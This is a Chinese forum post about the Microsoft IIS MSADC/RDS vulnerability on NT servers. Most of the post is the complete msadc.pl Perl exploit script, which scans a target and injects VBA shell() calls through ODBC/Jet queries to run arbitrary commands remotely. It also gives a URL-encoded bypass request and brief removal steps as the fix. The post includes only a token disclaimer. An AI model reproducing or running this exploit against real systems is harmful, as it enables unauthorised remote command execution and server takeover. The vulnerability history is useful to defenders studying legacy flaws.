社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 165524阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ]rN5Ao}2  
MZJ]Dwt]  
涉及程序: &w 8)* T  
Microsoft NT server clw%B  
'R<&d}@P*#  
描述: 9@ 16w  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 9Z5D\yv?H  
5kNzv~4B,;  
详细: SLfFqc+n0  
如果你没有时间读详细内容的话,就删除: 'CZa3ux  
c:\Program Files\Common Files\System\Msadc\msadcs.dll (b,[C\RBF  
有关的安全问题就没有了。 W5L iXM  
$_H`   
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 4 1a. #o  
eM7Bc4V  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 `#-P[q<v-  
关于利用ODBC远程漏洞的描述,请参看: sbj(|1,ac  
CzCQFqXI  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm =qy=-j]  
4_v]O  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 YwY74w:  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp [+m?G4[  
l7{oi!   
这里不再论述。 ^ci3F<?Q=  
1?*  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 5}$b0<em~  
&UCsBqIY  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset *=V7@o  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! *'Y@3vKE  
m!z|h9Ed  
f h#C' sn  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ps .]N   
'J&f%kx"  
#!perl :0)3K7Q   
# [[d(jV=*  
# MSADC/RDS 'usage' (aka exploit) script @~c6qh  
# RB* J=  
# by rain.forest.puppy /2EHv.e `  
# Ch$*Gm19Z  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me jcNT<}k C  
# beta test and find errors! Uy ?  
*KY=\ %D  
use Socket; use Getopt::Std; P}ok*{"J<>  
getopts("e:vd:h:XR", \%args); Z[\ O=1E,  
V7G7&'  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; )irRO8  
Y HSYu  
if (!defined $args{h} && !defined $args{R}) { m-^ 8W[r+_  
print qq~ Y)N-V ]5L  
Usage: msadc.pl -h <host> { -d <delay> -X -v } )[mwP.T=  
-h <host> = host you want to scan (ip or domain) 5zFR7/p{  
-d <seconds> = delay between calls, default 1 second dVB~Smsr  
-X = dump Index Server path table, if available "s!7dKXI"  
-v = verbose <<=WY_m}  
-e = external dictionary file for step 5 #P]#9Ty:  
D`J6h,=2l/  
Or a -R will resume a command session g;$Xq)Dd  
;S0Kh"A  
~; exit;} ae:zWk'!  
}ENR{vz$A  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; +dA,P\  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} P=3RLL<l  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} W^3uEm&l!)  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); %sHF-n5P  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} E9?ph D  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } r]3'74j:  
?bM_q_5  
if (!defined $args{R}){ $ret = &has_msadc; <E\$3Ym9  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} H$G0`LP0/a  
_k8A$s<d  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ebPgYxVZR  
. "cmd /c "; iyj+:t/  
$in=<STDIN>; chomp $in; VJ ^dY;  
$command="cmd /c " . $in ; $zB[B;-!$  
h/B>S  
if (defined $args{R}) {&load; exit;} D]c`B  
/Q~gU<  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; yQ#:J9HMJ  
&try_btcustmr; ={LMdC~5X  
#Z6'?p9  
print "\nStep 2: Trying to make our own DSN..."; L?5Ck<!xG  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; hx/N1 x  
meN2ZB?Y  
print "\nStep 3: Trying known DSNs..."; Z|%_oR~b|  
&known_dsn; z]b>VpW:  
|t; ~:A  
print "\nStep 4: Trying known .mdbs..."; G8Nt 8U~  
&known_mdb; JXyM\}9-X  
Qne/g}PD`  
if (defined $args{e}){ JQ4{` =,b  
print "\nStep 5: Trying dictionary of DSN names..."; gTA%uRBa  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 3 %.#}O,(  
1hcjSO  
print "Sorry Charley...maybe next time?\n"; Or !+._3i  
exit; hXqD<?  
V& C/Z}\  
############################################################################## v3v[[96p  
uV 7BK+[O  
sub sendraw { # ripped and modded from whisker GnP|x}YM  
sleep($delay); # it's a DoS on the server! At least on mine... @+atBmt  
my ($pstr)=@_; J|&JD?  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ,V*%V;  
die("Socket problems\n"); R+&jD;U{  
if(connect(S,pack "SnA4x8",2,80,$target)){ !Hys3AP  
select(S); $|=1; N^Bo .U0\  
print $pstr; my @in=<S>; n_3O-X(  
select(STDOUT); close(S); t3dlS`O  
return @in; TLoz)&@  
} else { die("Can't connect...\n"); }} kOh{l: 2-+  
Gs3LB/8?  
############################################################################## #v<QbA  
MwmUgN"g  
sub make_header { # make the HTTP request 6252N]*  
my $msadc=<<EOT wn)JXR  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ~I{n^Q/a  
User-Agent: ACTIVEDATA rj6#1kt  
Host: $ip $H+VA@_  
Content-Length: $clen }:Z#}8  
Connection: Keep-Alive H,N)4;F<c  
wm+/e#'&  
ADCClientVersion:01.06 ?_I[,N?@41  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 NJNJjdD>  
J!:SPQ  
--!ADM!ROX!YOUR!WORLD! Z!U)I-x&  
Content-Type: application/x-varg M`ip~7"  
Content-Length: $reqlen Yv:55+e!|  
J/}:x;Y  
EOT ~#kT _*sw)  
; $msadc=~s/\n/\r\n/g; _x!7}O#k  
return $msadc;} QR1{ w'c  
d> {nQF;c  
############################################################################## qL,tYJ<m%  
<vXGi  
sub make_req { # make the RDS request 8P=o4lO+  
my ($switch, $p1, $p2)=@_; C`5  
my $req=""; my $t1, $t2, $query, $dsn; CZ nOui  
$z+8<?YD  
if ($switch==1){ # this is the btcustmr.mdb query cK 06]-Y  
$query="Select * from Customers where City=" . make_shell(); `F/Tv 5@L  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . yz0zFfiX  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} A<W 6=5h  
?wO-cnl  
elsif ($switch==2){ # this is general make table query y.[Mnj  
$query="create table AZZ (B int, C varchar(10))"; e^O(e  
$dsn="$p1";} kYLM&&h  
8>7& E-  
elsif ($switch==3){ # this is general exploit table query "_`F\DGAZu  
$query="select * from AZZ where C=" . make_shell(); $^@)  
$dsn="$p1";} y~75r\"R  
^$ t7+g  
elsif ($switch==4){ # attempt to hork file info from index server 6oBfB8]:d  
$query="select path from scope()"; >Jp:O 7  
$dsn="Provider=MSIDXS;";} r3>i+i42  
|^A;&//  
elsif ($switch==5){ # bad query .jj$Kh q]  
$query="select"; QR>gt;  
$dsn="$p1";} '3?\K3S4i  
6H'HxB4  
$t1= make_unicode($query); gCxAG  
$t2= make_unicode($dsn); 6C-z=s)P&  
$req = "\x02\x00\x03\x00"; h(5P(`M  
$req.= "\x08\x00" . pack ("S1", length($t1)); 8O Soel  
$req.= "\x00\x00" . $t1 ; JJ%ePgWT  
$req.= "\x08\x00" . pack ("S1", length($t2)); *k19LI.5  
$req.= "\x00\x00" . $t2 ; A\#iXOd  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ]8T!qS(UJd  
return $req;} sVl-N&/  
Ps 8%J;  
############################################################################## CP6LHkM9  
Qci4J  
sub make_shell { # this makes the shell() statement {uHU]6d3qy  
return "'|shell(\"$command\")|'";} =KR NvW  
@WI2hHD  
############################################################################## &9Xhl''  
Mb]rY>B4  
sub make_unicode { # quick little function to convert to unicode 0pbtH8~  
my ($in)=@_; my $out; ;6!Pwb;hY  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } c_V;DcZ  
return $out;} <A# l 35  
KG=h&  
############################################################################## /RMPS. d {  
`(3/$%  
sub rdo_success { # checks for RDO return success (this is kludge) !tp1:'KG  
my (@in) = @_; my $base=content_start(@in); v;0|U:`]  
if($in[$base]=~/multipart\/mixed/){ $H-!j%hV  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} (`:O~>[N  
return 0;} J.8IwN1E  
xe*aC  
############################################################################## AW,53\ 0  
A]DTUdL  
sub make_dsn { # this makes a DSN for us 0$-xw  
my @drives=("c","d","e","f"); HvVts\f  
print "\nMaking DSN: "; fXcm|U,ho  
foreach $drive (@drives) { Lliq j1&  
print "$drive: "; k70|'*Kh  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . B` k\EL'  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" E>}4$q[r  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); X_7UJ jFw"  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; qs QNjt  
return 0 if $2 eq "404"; # not found/doesn't exist +Xemf?  
if($2 eq "200") { OD5m9XS  
foreach $line (@results) { &cu lbcz  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} )4&cph';  
} return 0;} ~t~-A,1  
oIefw:FE,a  
############################################################################## ;vIrGZV<  
u&n' ITH  
sub verify_exists { uh?>- ]r`  
my ($page)=@_; }6@pJ G  
my @results=sendraw("GET $page HTTP/1.0\n\n"); $k2*[sn,  
return $results[0];} pbU!dOU~e  
Q*b]_0Rb  
############################################################################## *;fw%PW  
Oj^,m.R  
sub try_btcustmr { dX)GPC-D7  
my @drives=("c","d","e","f"); ETXZ?\<a5  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 67VT\f  
v_nj$1dY6  
foreach $dir (@dirs) { xa pq*oj  
print "$dir -> "; # fun status so you can see progress 1Y]TA3:  
foreach $drive (@drives) { _C`K*u 6Z<  
print "$drive: "; # ditto G^` 1]?  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 1SR+m>pL  
$reqlenlen=length( "$reqlen" ); ivW(*c  
$clen= 206 + $reqlenlen + $reqlen; !H}vu]R  
d{E}6)1=  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Q !(pE&  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} (owrdPT!  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} !OuWPH. :  
`^4vT3e  
############################################################################## -Q U^c2  
$n^gmhp  
sub odbc_error { lj?v4$  
my (@in)=@_; my $base; ]._LLSzWhg  
my $base = content_start(@in); :.45u}[  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this \ 5,MyB2/`  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~PHB_cyth  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; |e2be1LD  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; }eRD|1  
return $in[$base+4].$in[$base+5].$in[$base+6];} WuZ/C_  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; w18y}mS"H  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . .k0~Vh2u  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 14"J d\M8  
](^(=%  
############################################################################## Ix(><#P  
|H! 9fZO  
sub verbose { #2EI\E&$  
my ($in)=@_; (1NA  
return if !$verbose; $VxA0 =ad  
print STDOUT "\n$in\n";} [Ts"OPb% ~  
hjQ~uqbg  
############################################################################## I*`*Q$  
h`H,a7  
sub save { +fnK /%b  
my ($p1, $p2, $p3, $p4)=@_; PxfY&;4n!  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; z$kenhFG/  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; J:kmqk!  
close OUT;} Yp:KI7  
($~RoQ=0S  
############################################################################## v= N!SaK{  
w&x!,yd;  
sub load { QurW/a  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ZPD[5) ~  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Cj?L@%"  
@p=<IN>; close(IN); ~O1&@xX  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); NZ3/5%We/  
$target= inet_aton($ip) || die("inet_aton problems"); kGN+rHo   
print "Resuming to $ip ..."; "&%#!2  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; E]6z8juO6  
if($p[1]==1) { !0dNQ[$82  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; I'@Ydt2  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Rv/Bh< t  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); w$u3W*EoU^  
if (rdo_success(@results)){print "Success!\n";} B.L]Rk\4  
else { print "failed\n"; verbose(odbc_error(@results));}} b?j< BvQ  
elsif ($p[1]==3){ 3yNU$.g  
if(run_query("$p[3]")){ -Fn  }4M  
print "Success!\n";} else { print "failed\n"; }} dzkw$m^@^  
elsif ($p[1]==4){ ? mhs$g>  
if(run_query($drvst . "$p[3]")){ p}<w#p |  
print "Success!\n"; } else { print "failed\n"; }} ~jb"5CX  
exit;} bN3#{l-`  
vC5n[0  
############################################################################## i}~SDY  
jH6&q~#  
sub create_table { J;prC  
my ($in)=@_; $/7pYl\n  
$reqlen=length( make_req(2,$in,"") ) - 28; +Lnsr\BA  
$reqlenlen=length( "$reqlen" ); ku..aG`  
$clen= 206 + $reqlenlen + $reqlen; D91e\|]  
my @results=sendraw(make_header() . make_req(2,$in,"")); 3q?\r` a  
return 1 if rdo_success(@results); +L5\;  
my $temp= odbc_error(@results); verbose($temp); qBT.x,$  
return 1 if $temp=~/Table 'AZZ' already exists/; 9Fr3pRIJ  
return 0;} >B>CB3U  
BY]i;GVq  
############################################################################## np4+"  
=?-ye!w  
sub known_dsn { IO/4.m-aN#  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Y OJ6 w  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", }`NU@O#  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", [S@}T zE  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 0V!l,pg  
1DA1N<'  
foreach $dSn (@dsns) { k}#;Uy=5  
print "."; ts8+V<g  
next if (!is_access("DSN=$dSn")); "jaJr5Wv=y  
if(create_table("DSN=$dSn")){ Tc+gdo>G  
print "$dSn successful\n"; 2"-S<zM  
if(run_query("DSN=$dSn")){ ~%2pp~1 K  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { >G'SbQ8  
print "Something's borked. Use verbose next time\n";}}} print "\n";} jU5}\oP@  
Q(o!iI:Gts  
############################################################################## g38&P3/  
,p9i%i  
sub is_access { raQ7.7  
my ($in)=@_; E{2Eoj;gq  
$reqlen=length( make_req(5,$in,"") ) - 28; 9RWkm%?  
$reqlenlen=length( "$reqlen" ); -$,%f?  
$clen= 206 + $reqlenlen + $reqlen; 10#f`OPC  
my @results=sendraw(make_header() . make_req(5,$in,"")); (4%YHS8  
my $temp= odbc_error(@results); Ve/xnn]'  
verbose($temp); return 1 if ($temp=~/Microsoft Access/);  PTS]7  
return 0;} 8+Bu+|c%f  
g%k`  
############################################################################## P(a.iu5   
w\19[U3  
sub run_query { GAc{l=vT'  
my ($in)=@_; 0W%@gs5d&  
$reqlen=length( make_req(3,$in,"") ) - 28; leCVK.  
$reqlenlen=length( "$reqlen" ); ov\HsTeZ  
$clen= 206 + $reqlenlen + $reqlen; o5n^!gi4  
my @results=sendraw(make_header() . make_req(3,$in,"")); v-! u\  
return 1 if rdo_success(@results); {bPV)RL:  
my $temp= odbc_error(@results); verbose($temp); HQ9X7[3  
return 0;} )H}#A#ovj7  
SZ_V^UX_  
############################################################################## 4&cL[Ny  
<vUVP\u~$  
sub known_mdb { lW 81q2n  
my @drives=("c","d","e","f","g"); P%MfCpyj  
my @dirs=("winnt","winnt35","winnt351","win","windows"); p\ Lq}tk<  
my $dir, $drive, $mdb; {W\T"7H  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; SAY f'[|w  
:h1pBEiH  
# this is sparse, because I don't know of many zW8*EE+,  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Hp|}~xjn  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", v0Ir#B,[H  
"\\system32\\certmdb.mdb", Pe2wsR"_U  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% dr<<!q /  
i7LJ&g/)  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", cUO<.  
"\\cfusion\\cfapps\\forums\\forums_.mdb", -<#!DjV6(  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", hwqbi "o  
"\\cfusion\\cfapps\\security\\realm_.mdb", =KT7nl  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", DS xUdEK6  
"\\cfusion\\database\\cfexamples.mdb", .6~`Ubr}E  
"\\cfusion\\database\\cfsnippets.mdb", dz[ bm< T7  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 6yy;JQAke  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", #*>E*#?t  
"\\cfusion\\brighttiger\\database\\cleam.mdb", &Z^ l=YH,  
"\\cfusion\\database\\smpolicy.mdb", tV/Z)fpyH  
"\\cfusion\\database\cypress.mdb", IooNb:(  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", n& $^04+i  
"\\website\\cgi-win\\dbsample.mdb", ;<Km 3  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", x|KWyfOS  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" b|5w]<?'  
); #these are just auWXgkwZs/  
foreach $drive (@drives) { D?M!ra  
foreach $dir (@dirs){ xE-7P|2  
foreach $mdb (@sysmdbs) { ?U7) XvQ  
print "."; aTzDew  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ -@&1`@):{  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 6/ `.(fL1  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 4eH.9t  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ai*b:Q  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Z"s|]K "  
_e!F~V.  
foreach $drive (@drives) { 8I,QD` xu  
foreach $mdb (@mdbs) { (3dPLp:K  
print "."; m%#`y\]I  
if(create_table($drv . $drive . $dir . $mdb)){  oK 9'  
print "\n" . $drive . $dir . $mdb . " successful\n"; ,1/}^f6  
if(run_query($drv . $drive . $dir . $mdb)){  H@uE>  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; EC6k{y}bA  
} else { print "Something's borked. Use verbose next time\n"; }}}} :"o o>  
} 8p1ziz`4>$  
k8]O65t|  
############################################################################## =i HiPvP0  
Fd\ e*ww'  
sub hork_idx { A4mSJ6K]  
print "\nAttempting to dump Index Server tables...\n"; >\A8#@1  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; k#:2'!7G  
$reqlen=length( make_req(4,"","") ) - 28; (5$ZvXx?}  
$reqlenlen=length( "$reqlen" ); AD('=g J  
$clen= 206 + $reqlenlen + $reqlen; VzlDHpG  
my @results=sendraw2(make_header() . make_req(4,"","")); K^t?gt@k}  
if (rdo_success(@results)){ rgcWRt  
my $max=@results; my $c; my %d; <f~Fl^^8  
for($c=19; $c<$max; $c++){ Bf4%G,o5  
$results[$c]=~s/\x00//g; a1N!mQ^  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Wd(86idnc  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; }vt%R.u  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; efz&@|KR  
$d{"$1$2"}="";} G&f7+e  
foreach $c (keys %d){ print "$c\n"; } lnbmoHv  
} else {print "Index server doesn't seem to be installed.\n"; }} 'YSuQP>  
;,O fJ'q^  
############################################################################## ;\%sEcpT  
RD<75]**{  
sub dsn_dict { @oe\"vz  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); <1~^C  
while(<IN>){ %"A_!<n@*`  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; [{&jr]w`|  
next if (!is_access("DSN=$dSn")); q\9d6u=Gm  
if(create_table("DSN=$dSn")){ I]}>|  
print "$dSn successful\n"; 8Og3yFx[rt  
if(run_query("DSN=$dSn")){ pz doqAVI  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { o!&W sD  
print "Something's borked. Use verbose next time\n";}}} sP$Ks#/  
print "\n"; close(IN);} "t(wG{RxY  
2}t&iG|0/  
############################################################################## gd^Js 1Z  
{b!7 .Cd=  
sub sendraw2 { # ripped and modded from whisker qS8B##x+=  
sleep($delay); # it's a DoS on the server! At least on mine... >[a<pm !  
my ($pstr)=@_; 'i>xf ^  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || EA{U!b]cU  
die("Socket problems\n"); v+1i= s2$  
if(connect(S,pack "SnA4x8",2,80,$target)){ %3Bpn=k>  
print "Connected. Getting data"; vi {uy  
open(OUT,">raw.out"); my @in; CV.+P-  
select(S); $|=1; print $pstr; u@.>WHQN  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} VS/;aG$&y  
close(OUT); select(STDOUT); close(S); return @in; K3p@$3hQ  
} else { die("Can't connect...\n"); }} yqSY9EX7  
gX} g  
############################################################################## 5^)_B;.f  
^lO76Dz~a  
sub content_start { # this will take in the server headers d$;/T('  
my (@in)=@_; my $c; s\0Ko1  
for ($c=1;$c<500;$c++) { @%W]".*'}  
if($in[$c] =~/^\x0d\x0a/){ Yr&Ka:  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } @C.GKeM*  
else { return $c+1; }}} Nw](".  
return -1;} # it should never get here actually aU<s<2 O)  
&$ p[  
############################################################################## =3ADT$YHd  
AZZRa69=  
sub funky { MC=G"m:_  
my (@in)=@_; my $error=odbc_error(@in); Rf[V)x  
if($error=~/ADO could not find the specified provider/){ RazBc.o<  
print "\nServer returned an ADO miscofiguration message\nAborting.\n";  . gT4_  
exit;} |pWaBh|r  
if($error=~/A Handler is required/){ # .q#O C  
print "\nServer has custom handler filters (they most likely are patched)\n"; u.6P-yh  
exit;} jM__{z  
if($error=~/specified Handler has denied Access/){ x0Bw{>Q  
print "\nServer has custom handler filters (they most likely are patched)\n"; ,8 6K  
exit;}} /)V4k:#b  
fA8ozL T  
############################################################################## WD?Jk9_F  
T{ -2fp8r[  
sub has_msadc { 3eg5oAZ)G8  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); \{PNwF?  
my $base=content_start(@results); |Cf mcz(56  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); =,Ttw>   
return 0;} Y%IJ8P^Y  
G :4;y7  
######################## &(O06QL  
ndOfbu;mf  
 Tb#  
解决方案: vR]mSX3)?  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll u@D .i4U  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 (2%>jg0M  
%CT!$Y'n  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八